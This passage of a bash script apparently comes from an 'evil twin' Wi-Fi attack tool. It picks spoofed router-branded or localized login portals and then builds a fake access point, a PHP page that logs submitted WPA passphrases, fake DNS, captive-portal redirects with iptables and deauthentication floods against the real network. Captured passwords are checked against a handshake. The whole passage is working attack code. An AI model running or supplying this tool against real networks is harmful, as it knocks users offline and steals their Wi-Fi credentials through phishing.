DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RUS DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RUS DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RUS NEUTRA break elif [ "$webconf" = "4" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT DIALOG_WEB_OK=$DIALOG_WEB_OK_IT DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_IT DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_IT DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_IT DIALOG_WEB_DIR=$DIALOG_WEB_DIR_IT NEUTRA break elif [ "$webconf" = "5" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ESP DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ESP DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ESP DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ESP NEUTRA break elif [ "$webconf" = "6" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR DIALOG_WEB_OK=$DIALOG_WEB_OK_POR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_POR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_POR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_POR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_POR NEUTRA break elif [ "$webconf" = "7" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CN DIALOG_WEB_OK=$DIALOG_WEB_OK_CN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CN NEUTRA break elif [ "$webconf" = "8" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR DIALOG_WEB_OK=$DIALOG_WEB_OK_FR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_FR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_FR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_FR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_FR NEUTRA break elif [ "$webconf" = "9" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TR DIALOG_WEB_OK=$DIALOG_WEB_OK_TR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TR NEUTRA break elif [ "$webconf" = "10" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RO DIALOG_WEB_OK=$DIALOG_WEB_OK_RO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RO NEUTRA break elif [ "$webconf" = "11" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HU DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HU DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HU DIALOG_WEB_OK=$DIALOG_WEB_OK_HU DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HU DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HU DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HU DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HU DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HU DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HU NEUTRA break elif [ "$webconf" = "12" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ARA DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ARA DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ARA DIALOG_WEB_OK=$DIALOG_WEB_OK_ARA DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ARA DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ARA DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ARA DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ARA DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ARA DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ARA NEUTRA break elif [ "$webconf" = "13" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GR DIALOG_WEB_OK=$DIALOG_WEB_OK_GR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GR NEUTRA break elif [ "$webconf" = "14" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CZ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CZ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CZ DIALOG_WEB_OK=$DIALOG_WEB_OK_CZ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CZ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CZ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CZ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CZ DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CZ DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CZ NEUTRA break elif [ "$webconf" = "15" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NO DIALOG_WEB_OK=$DIALOG_WEB_OK_NO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NO NEUTRA break elif [ "$webconf" = "16" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_BG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_BG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_BG DIALOG_WEB_OK=$DIALOG_WEB_OK_BG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_BG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_BG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_BG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_BG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_BG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_BG NEUTRA break elif [ "$webconf" = "17" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_SRB DIALOG_WEB_INFO=$DIALOG_WEB_INFO_SRB DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_SRB DIALOG_WEB_OK=$DIALOG_WEB_OK_SRB DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_SRB DIALOG_WEB_BACK=$DIALOG_WEB_BACK_SRB DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_SRB DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_SRB DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_SRB DIALOG_WEB_DIR=$DIALOG_WEB_DIR_SRB NEUTRA break elif [ "$webconf" = "18" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PL DIALOG_WEB_OK=$DIALOG_WEB_OK_PL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_PL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_PL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_PL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PL NEUTRA break elif [ "$webconf" = "19" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ID DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ID DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ID DIALOG_WEB_OK=$DIALOG_WEB_OK_ID DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ID DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ID DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ID DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ID DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ID DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ID NEUTRA break elif [ "$webconf" = "20" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NL DIALOG_WEB_OK=$DIALOG_WEB_OK_NL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NL NEUTRA break elif [ "$webconf" = 21 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_DAN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_DAN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_DAN DIALOG_WEB_OK=$DIALOG_WEB_OK_DAN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_DAN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_DAN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_DAN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_DAN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_DAN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_DAN NEUTRA break elif [ "$webconf" = 22 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HE DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HE DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HE DIALOG_WEB_OK=$DIALOG_WEB_OK_HE DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HE DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HE DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HE DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HE DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HE DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HE NEUTRA break elif [ "$webconf" = 23 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TH DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TH DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TH DIALOG_WEB_OK=$DIALOG_WEB_OK_TH DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TH DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TH DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TH DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TH DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TH DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TH NEUTRA break elif [ "$webconf" = 24 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_BR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_BR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_BR DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_BR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_BR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_BR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_BR NEUTRA break elif [ "$webconf" = 25 ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PT_SVN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PT_SVN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PT_SVN DIALOG_WEB_OK=$DIALOG_WEB_OK_PT_SVN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PT_SVN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PT_SVN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PT_SVN NEUTRA SVNeak elif [ "$webconf" = "26" ]; then BELKIN break elif [ "$webconf" = "27" ]; then NETGEAR break elif [ "$webconf" = "28" ]; then HUAWEI break elif [ "$webconf" = "29" ]; then VERIZON break elif [ "$webconf" = "30" ]; then NETGEAR2 break elif [ "$webconf" = "31" ]; then ARRIS2 break elif [ "$webconf" = "32" ]; then VODAFONE break elif [ "$webconf" = "33" ]; then TPLINK break elif [ "$webconf" = "34" ]; then ZIGGO_NL break elif [ "$webconf" = "35" ]; then KPN_NL break elif [ "$webconf" = "36" ]; then ZIGGO2016_NL break elif [ "$webconf" = "37" ]; then FRITZBOX_DE break elif [ "$webconf" = "38" ]; then FRITZBOX_ENG break elif [ "$webconf" = "39" ]; then GENEXIS_DE break elif [ "$webconf" = "40" ]; then Login-Netgear break elif [ "$webconf" = "41" ]; then Login-Xfinity break elif [ "$webconf" = "42" ]; then Telekom break elif [ "$webconf" = "43" ]; then google break elif [ "$webconf" = "44" ]; then MOVISTAR_ES break elif [ "$webconf" = "45" ]; then conditional_clear webinterface break fi done fi preattack attack } # Create different settings required for the script function preattack { # Config HostAPD echo "interface=$WIFI driver=nl80211 ssid=$Host_SSID channel=$Host_CHAN" > $DUMP_PATH/hostapd.conf # Creates PHP echo "<?php error_reporting(0); \$count_my_page = (\"$DUMP_PATH/hit.txt\"); \$hits = file(\$count_my_page); \$hits[0] ++; \$fp = fopen(\$count_my_page , \"w\"); fputs(\$fp , \$hits[0]); fclose(\$fp); // Receive form Post data and Saving it in variables \$key1 = @\$_POST['key1']; // Write the name of text file where data will be store \$filename = \"$DUMP_PATH/data.txt\"; \$filename2 = \"$DUMP_PATH/status.txt\"; \$intento = \"$DUMP_PATH/intento\"; \$attemptlog = \"$DUMP_PATH/pwattempt.txt\"; // Marge all the variables with text in a single variable. \$f_data= ''.\$key1.''; \$pwlog = fopen(\$attemptlog, \"w\"); fwrite(\$pwlog, \$f_data); fwrite(\$pwlog,\"\n\"); fclose(\$pwlog); \$file = fopen(\$filename, \"w\"); fwrite(\$file, \$f_data); fwrite(\$file,\"\n\"); fclose(\$file); \$archivo = fopen(\$intento, \"w\"); fwrite(\$archivo,\"\n\"); fclose(\$archivo); while( 1 ) { if (file_get_contents( \$intento ) == 1) { header(\"Location:error.html\"); unlink(\$intento); break; } if (file_get_contents( \$intento ) == 2) { header(\"Location:final.html\"); break; } sleep(1); } ?>" > $DUMP_PATH/data/check.php # Config DHCP echo "authoritative; default-lease-time 600; max-lease-time 7200; subnet $RANG_IP.0 netmask 255.255.255.0 { option broadcast-address $RANG_IP.255; option routers $IP; option subnet-mask 255.255.255.0; option domain-name-servers $IP; range $RANG_IP.100 $RANG_IP.250; }" > $DUMP_PATH/dhcpd.conf #create an empty leases file touch $DUMP_PATH/dhcpd.leases # creates Lighttpd web-server echo "server.document-root = \"$DUMP_PATH/data/\" server.modules = ( \"mod_access\", \"mod_alias\", \"mod_accesslog\", \"mod_fastcgi\", \"mod_redirect\", \"mod_rewrite\" ) fastcgi.server = ( \".php\" => (( \"bin-path\" => \"/usr/bin/php-cgi\", \"socket\" => \"/php.socket\" ))) server.port = 80 server.pid-file = \"/var/run/lighttpd.pid\" # server.username = \"www\" # server.groupname = \"www\" mimetype.assign = ( \".html\" => \"text/html\", \".htm\" => \"text/html\", \".txt\" => \"text/plain\", \".jpg\" => \"image/jpeg\", \".png\" => \"image/png\", \".css\" => \"text/css\" ) server.error-handler-404 = \"/\" static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) index-file.names = ( \"index.htm\", \"index.html\" ) \$SERVER[\"socket\"] == \":443\" { url.redirect = ( \"^/(.*)\" => \"http://www.internet.com\") ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } #Redirect www.domain.com to domain.com \$HTTP[\"host\"] =~ \"^www\.(.*)$\" { url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) ssl.engine = \"enable\" ssl.pemfile = \"$DUMP_PATH/server.pem\" } " >$DUMP_PATH/lighttpd.conf # that redirects all DNS requests to the gateway echo "import socket class DNSQuery: def __init__(self, data): self.data=data self.dominio='' tipo = (ord(data[2]) >> 3) & 15 if tipo == 0: ini=12 lon=ord(data[ini]) while lon != 0: self.dominio+=data[ini+1:ini+lon+1]+'.' ini+=lon+1 lon=ord(data[ini]) def respuesta(self, ip): packet='' if self.dominio: packet+=self.data[:2] + \"\x81\x80\" packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' packet+=self.data[12:] packet+='\xc0\x0c' packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) return packet if __name__ == '__main__': ip='$IP' print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps.bind(('',53)) try: while 1: data, addr = udps.recvfrom(1024) p=DNSQuery(data) udps.sendto(p.respuesta(ip), addr) print 'Request: %s -> %s' % (p.dominio, ip) except KeyboardInterrupt: print 'Finalizando' udps.close()" > $DUMP_PATH/fakedns chmod +x $DUMP_PATH/fakedns } # Set up DHCP / WEB server # Set up DHCP / WEB server function routear { ifconfig $interfaceroutear up ifconfig $interfaceroutear $IP netmask 255.255.255.0 route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP sysctl -w net.ipv4.ip_forward=1 &>$flux_output_device iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat --delete-chain iptables -P FORWARD ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 iptables -A INPUT -p tcp --sport 443 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT iptables -t nat -A POSTROUTING -j MASQUERADE } # Attack function attack { interfaceroutear=$WIFI handshakecheck nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) if [ "$fakeapmode" = "hostapd" ]; then ifconfig $WIFI down sleep 0.4 macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device sleep 0.4 ifconfig $WIFI up sleep 0.4 fi if [ $fakeapmode = "hostapd" ]; then killall hostapd &> $flux_output_device xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e hostapd $DUMP_PATH/hostapd.conf & elif [ $fakeapmode = "airbase-ng" ]; then killall airbase-ng &> $flux_output_device xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "AP" -e airbase-ng -P -e $Host_SSID -c $Host_CHAN -a ${mac::13}$nomac${mac:14:4} $WIFI_MONITOR & fi sleep 5 routear & sleep 3 killall dhcpd &> $flux_output_device fuser -n tcp -k 53 67 80 &> $flux_output_device fuser -n udp -k 53 67 80 &> $flux_output_device xterm -bg black -fg green $TOPLEFT -T DHCP -e "dhcpd -d -f -lf "$DUMP_PATH/dhcpd.leases" -cf "$DUMP_PATH/dhcpd.conf" $interfaceroutear 2>&1 | tee -a $DUMP_PATH/clientes.txt" & xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FAKEDNS" -e "if type python2 >/dev/null 2>/dev/null; then python2 $DUMP_PATH/fakedns; else python $DUMP_PATH/fakedns; fi" & lighttpd -f $DUMP_PATH/lighttpd.conf &> $flux_output_device killall aireplay-ng &> $flux_output_device killall mdk3 &> $flux_output_device echo "$Host_MAC" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauth all [mdk3] $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & xterm -hold $TOPRIGHT -title "Wifi Information" -e $DUMP_PATH/handcheck & conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" Attack in progress .." echo " " echo " 1) Choose another network" echo " 2) Exit" echo " " echo -n ' #> ' read yn case $yn in 1 ) matartodo; CSVDB=dump-01.csv; selection; break;; 2 ) matartodo; exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done } # Checks the validity of the password function handshakecheck { echo "#!/bin/bash echo > $DUMP_PATH/data.txt echo -n \"0\"> $DUMP_PATH/hit.txt echo "" >$DUMP_PATH/loggg tput civis clear minutos=0 horas=0 i=0 timestamp=\$(date +%s) while true; do segundos=\$i dias=\`expr \$segundos / 86400\` segundos=\`expr \$segundos % 86400\` horas=\`expr \$segundos / 3600\` segundos=\`expr \$segundos % 3600\` minutos=\`expr \$segundos / 60\` segundos=\`expr \$segundos % 60\` if [ \"\$segundos\" -le 9 ]; then is=\"0\" else is= fi if [ \"\$minutos\" -le 9 ]; then im=\"0\" else im= fi if [ \"\$horas\" -le 9 ]; then ih=\"0\" else ih= fi">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> \"$PASSLOG_PATH/$Host_SSID-$Host_MAC.log\" rm -f $DUMP_PATH/pwattempt.txt fi if [ -f $DUMP_PATH/intento ]; then if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo " if [ -f $DUMP_PATH/pwattempt.txt ]; then cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log rm -f $DUMP_PATH/pwattempt.txt fi wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & if [ -f $DUMP_PATH/intento ]; then if grep -i 'WPA: Key negotiation completed' $DUMP_PATH/loggg; then echo \"2\">$DUMP_PATH/intento break else echo \"1\">$DUMP_PATH/intento fi fi ">>$DUMP_PATH/handcheck fi echo "readarray -t CLIENTESDHCP < <(nmap -PR -sn -n -oG - $RANG_IP.100-110 2>&1 | grep Host ) echo echo -e \" ACCESS POINT:\" echo -e \" SSID............: "$white"$Host_SSID"$transparent"\" echo -e \" MAC.............: "$yellow"$Host_MAC"$transparent"\" echo -e \" Channel.........: "$white"$Host_CHAN"$transparent"\" echo -e \" Vendor..........: "$green"$Host_MAC_MODEL"$transparent"\" echo -e \" Operation time..: "$blue"\$ih\$horas:\$im\$minutos:\$is\$segundos"$transparent"\" echo -e \" Attempts........: "$red"\$(cat $DUMP_PATH/hit.txt)"$transparent"\" echo -e \" Clients.........: "$blue"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)"$transparent"\" echo echo -e \" CLIENTS ONLINE:\" x=0 for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) CLIENTE_MAC=\$(nmap -PR -sn -n \$CLIENTE_IP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" fi CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) if echo \$CLIENTE_MAC| grep -q x; then CLIENTE_FABRICANTE=\"unknown\" fi CLIENTE_HOSTNAME=\$(grep \$CLIENTE_IP $DUMP_PATH/clientes.txt | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') echo -e \" $green \$x) $red\$CLIENTE_IP $yellow\$CLIENTE_MAC $transparent($blue\$CLIENTE_FABRICANTE$transparent) $green \$CLIENTE_HOSTNAME$transparent\" done echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then echo "let i=\$(date +%s)-\$timestamp sleep 1">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then echo "sleep 5 killall wpa_supplicant &>$flux_output_device killall wpa_passphrase &>$flux_output_device let i=\$i+5">>$DUMP_PATH/handcheck fi echo "done clear echo \"1\" > $DUMP_PATH/status.txt sleep 7 killall mdk3 &>$flux_output_device killall aireplay-ng &>$flux_output_device killall airbase-ng &>$flux_output_device kill \$(ps a | grep python| grep fakedns | awk '{print \$1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall wpa_supplicant &>$flux_output_device killall wpa_passphrase 